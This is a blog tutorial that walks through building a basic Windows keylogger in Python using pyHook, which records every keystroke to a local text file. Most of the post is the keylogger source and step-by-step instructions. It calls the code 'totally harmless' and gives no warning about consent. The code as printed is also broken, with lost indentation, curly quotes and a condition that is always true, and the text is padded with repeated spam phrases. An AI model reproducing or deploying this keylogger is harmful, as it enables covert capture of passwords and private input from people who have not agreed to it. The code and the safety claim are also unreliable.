Top Best Keylogger in Python 3 Make One

How to Write a Keylogger from scratch in Python

Hey Geeks, Welcome to Cyber Geek Squad Blog, In today’s post I’m going to show how can you create a Keylogger in Python from scratch with the help of Python. We are going to record all the keystrokes directly into our PC with the help of our Python programming. In further post we will be seeing more advanced keylogger concepts using Python. So, let’s begin with today’s tutorial.

 

Software Required :

Keylogger in Python

Procedure to Follow :

Step 1 : Install the Python in your system. And open the Python IDLE.
Step 2 : Once you open the Python Shell navigate to File>New File Click on it.
 
Step 3 : Once you click on the New File a Untitled Script mode will be open where we are going to write our code and later on execute it.
 
Top Best Keylogger in Python 3 Make One
 
 
Step 4 : Now let me show you guys how the code looks like.
 
import win32api 
import sys
import pythoncom, pyHook 
buffer = ”
def OnKeyboardEvent(event):
if event.Ascii == 5: 

sys.exit() 
if event.Ascii != 0 or 8: 
f = open (‘c:\output.txt’, ‘a’) 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + ‘n’ 
f.write(keylogs) 
f.close() 
while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages()
 
 
Step 5 : Now copy the code into your Python Script Mode just as shown in the image below.
 
If you don’t understand the code but still curious to try it out, we’ll let me clear one thing here this code is totally Harmless so feel free to run it, it won’t cause any damage to your system.
 
Now let’s understand the code in a bit of simpler manner I’ll try to keep keep it as simple as possible.
 
import win32api 
import sys
import pythoncom, pyHook 
 
This part of code is trying to import the necessary libraries which is needed for creating our KeyLogger
you can study it a bit more in detail about those libraries on Internet.
 
while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages()
 
This part of our code can be call as the body cause the while loop is set on true which means it will keep running at all conditions I’m just trying to keep it as simple as possible avoiding all sorts or coding terms here. Now here pyHook package provides callbacks for global mouse and keyboard events in Windows. So, basically what it’s going to do is that it’s going to take all the input just assume that for now.Top Best Keylogger in Python 3
 
def OnKeyboardEvent(event):
if event.Ascii == 5: 
sys.exit() 
if event.Ascii != 0 or 8: 
f = open (‘c:\output.txt’, ‘a’) 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + ‘n’ 
f.write(keylogs) 
f.close() 
 
Here we are calling the function OnKeyboardEvent now this part of code can be consider as a Brain of the code because in this part everything is going to decide what letter’s or numbers to be stored and where the output will be saved I’ll not go to much in detail as for now later on while making Advance Keylogger I’ll explain each line of code functions. As for beginner level lets get done with this now.Top Best Keylogger in Python 3
 
 
 
Step 6 : Make sure one thing that when you copy the code look the output file path { ‘c:\output.txt’,’a’} this can be modified and you give your own desire path where Top Best Keylogger in Python 3 you want to save the Keylogger Keys which means the data which was collected after pressing some key strokes. In my case as you can see I’m saving it in my C Drive  so now lets begin and execute the code.
 
 
Step 7 : Once you have set everything up let’s save our code remember wile saving it don’t forget to mention .py extension. You can give the name as per your wish I’m mentioning Keylogger to make it easy for me to notice it.
 
Top Best Keylogger in Python 3 Make One
 
 
 
Step 8 :  So, once you  save it it’s time to run our Keylogger and check it. To Run it Click on the Run>Run Module.
 
 
So did you get the error warning? Even I got it’s Indention Warning  which means unwanted spacing or the syntax is not correct. So, is the code wrong?Top Best Keylogger in Python 3. No, the code is not wrong it’s just that we simple copy the code and pasted it so everything is in same line we need to make it in right format so how to do that let go to next step.

Top Best Keylogger in Python 3 Make One
 
 
 
Step 9 : So, how to fix this indented error look at the image below and make your code spacing or structure same as mine.
 
 
Step 10 : Once your code is set Run it remember if you face any problem try using Python 2.7 it works fine with Python 3.8 too but incase.
 
 
 
Step 11 : As you can see the pressed keywords those are the words which is recorded by our Keylogger.I run the program in Anaconda due to Top Best Keylogger in Python 3 libraries issue’s I hope that this Keylogger gives you an idea what we will be learning in future don’t be disappointed if this doesn’t work in your system I’ll be showing much more in further post which you guys can easily run them on latest Python versions.Top Best Keylogger in Python 3
 
Top Best Keylogger in Python 3
 
 

Conclusion

This post is just a basic intro of how to create a keylogger from scratch with the help of python, don’t be disappointed if this tutorial didn’t work in your system. I’ll bring more keylogger concepts  based on latest Python version and on Windows 10 so that we don’t face any problem while making the Advance Key Loggers. Make Sure to Comment down below and share your views with us we will love to hear them.
 
Written By,
CYBER GEEK

Leave a Comment

close
error: Content is protected !!